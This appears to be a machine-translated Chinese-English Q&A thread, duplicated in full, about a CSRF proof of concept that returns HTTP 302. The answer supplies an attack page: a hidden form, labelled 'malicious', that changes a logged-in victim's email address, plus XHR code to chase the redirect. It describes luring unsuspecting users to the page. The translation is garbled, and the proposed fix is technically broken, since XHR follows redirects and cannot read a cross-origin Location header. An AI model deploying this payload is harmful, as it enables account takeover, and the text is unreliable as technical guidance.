我的 CSRF PoC 不工作,csrf 的请求得到 302 错误!!谁能帮我
My CSRF PoC doesn't work, the request of csrf get 302 error!! Can anyone help me
我做了一个 CSRF PoC :
<html>
<head>
<title>CSRF Demo</title>
</head>
<body>
<form action="https://website.com" method="POST">
<input type="hidden" name="utf8" value="✓">
<input type="hidden" name="email_address[name]" value="hacker">
<input type="hidden" name="email_address[address]" value="hacker0ne@gmail.com">
<input type="submit" value="submit">
</form>
</body>
</html>
但是当我运行编码时,它不起作用!我检查了请求,发现请求的状态代码:302
任何人都可以告诉我为什么会发生以及如何解决它!!!谢谢!!!(如果英语不好请见谅)
状态代码 302 是一个 3xx 代码:这是 redirect status codes. More precisely, status code 302 的家族,表示资源已从请求的 URL 临时移动到另一个 URL。
此状态代码在 HTTP 1.0 specification, and is replaced by status code 303 in the HTTP 1.1 specification.
中引入
当收到状态代码为 302 的 HTTP 响应时,您还将返回一个位置 header,其值为 URL:这是您被重定向到的 URL .大多数浏览器会自动执行此操作,向新 URL 发出相同的请求,但根据您的工具,情况可能并非如此。
在这种情况下,我假设您的 CSRF 工作方式如下:
- 您使用上面的 HTML 代码创建了一个伪造的网页,它隐藏了表单字段。
- 您诱使毫无戒心的用户访问此网页,希望他已登录。
- 表单被提交给 URL 并带有登录用户的 cookie(session ID 或诸如此类),用户不知道,因此使用您控制的参数执行恶意操作代表用户。
这里的问题是您将表单发送到一个 URL,它返回另一个 URL,您应该将表单发送到另一个地方。但是,请求必须来自用户的浏览器,以便发送他的cookie。
解决此问题的一种方法是确定重定向 URL 是否始终相同,并将此 URL 硬编码到您的表单而不是原始表单中。
另一种更安全的方法是以编程方式恢复此 URL(例如使用 XHR getResponseHeader),然后将请求发送到重定向 URL.
后一种实现方式如下:
<html>
<head>
<title>CSRF Demo</title>
</head>
<body>
<form id="malicious" action="https://website.com" method="POST">
<input type="hidden" name="utf8" value="✓">
<input type="hidden" name="email_address[name]" value="hacker">
<input type="hidden" name="email_address[address]" value="hacker0ne@gmail.com">
<input type="submit" value="submit">
</form>
<script>
const XHR = new XMLHttpRequest();
XHR.onreadystatechange = function() {
if (XHR.readyState == 4 && XHR.status == 302) {
// Send the form again to the correct URL
const redirectURL = XHR.getResponseHeader("Location");
document.getElementById("malicious").setAttribute("action", redirectURL);
}
}
// Get the redirect URL
XHR.open("POST", "https://website.com");
XHR.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
XHR.send("utf8=✓&email_address[name]=hacker&email_address[address]=hacker0ne@gmail.com");
</script>
</body>
</html>
我用 httpstat 测试了这个实现,它会生成带有你想要的状态代码的响应。当用户按下提交按钮时,表单应该被提交到正确的URL。 假设您确实收到了 302 代码,并且 browser/tool 没有执行自动重定向!
我做了一个 CSRF PoC :
<html>
<head>
<title>CSRF Demo</title>
</head>
<body>
<form action="https://website.com" method="POST">
<input type="hidden" name="utf8" value="✓">
<input type="hidden" name="email_address[name]" value="hacker">
<input type="hidden" name="email_address[address]" value="hacker0ne@gmail.com">
<input type="submit" value="submit">
</form>
</body>
</html>
但是当我运行编码时,它不起作用!我检查了请求,发现请求的状态代码:302
任何人都可以告诉我为什么会发生以及如何解决它!!!谢谢!!!(如果英语不好请见谅)
状态代码 302 是一个 3xx 代码:这是 redirect status codes. More precisely, status code 302 的家族,表示资源已从请求的 URL 临时移动到另一个 URL。 此状态代码在 HTTP 1.0 specification, and is replaced by status code 303 in the HTTP 1.1 specification.
中引入当收到状态代码为 302 的 HTTP 响应时,您还将返回一个位置 header,其值为 URL:这是您被重定向到的 URL .大多数浏览器会自动执行此操作,向新 URL 发出相同的请求,但根据您的工具,情况可能并非如此。
在这种情况下,我假设您的 CSRF 工作方式如下:
- 您使用上面的 HTML 代码创建了一个伪造的网页,它隐藏了表单字段。
- 您诱使毫无戒心的用户访问此网页,希望他已登录。
- 表单被提交给 URL 并带有登录用户的 cookie(session ID 或诸如此类),用户不知道,因此使用您控制的参数执行恶意操作代表用户。
这里的问题是您将表单发送到一个 URL,它返回另一个 URL,您应该将表单发送到另一个地方。但是,请求必须来自用户的浏览器,以便发送他的cookie。
解决此问题的一种方法是确定重定向 URL 是否始终相同,并将此 URL 硬编码到您的表单而不是原始表单中。 另一种更安全的方法是以编程方式恢复此 URL(例如使用 XHR getResponseHeader),然后将请求发送到重定向 URL.
后一种实现方式如下:
<html>
<head>
<title>CSRF Demo</title>
</head>
<body>
<form id="malicious" action="https://website.com" method="POST">
<input type="hidden" name="utf8" value="✓">
<input type="hidden" name="email_address[name]" value="hacker">
<input type="hidden" name="email_address[address]" value="hacker0ne@gmail.com">
<input type="submit" value="submit">
</form>
<script>
const XHR = new XMLHttpRequest();
XHR.onreadystatechange = function() {
if (XHR.readyState == 4 && XHR.status == 302) {
// Send the form again to the correct URL
const redirectURL = XHR.getResponseHeader("Location");
document.getElementById("malicious").setAttribute("action", redirectURL);
}
}
// Get the redirect URL
XHR.open("POST", "https://website.com");
XHR.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
XHR.send("utf8=✓&email_address[name]=hacker&email_address[address]=hacker0ne@gmail.com");
</script>
</body>
</html>
我用 httpstat 测试了这个实现,它会生成带有你想要的状态代码的响应。当用户按下提交按钮时,表单应该被提交到正确的URL。 假设您确实收到了 302 代码,并且 browser/tool 没有执行自动重定向!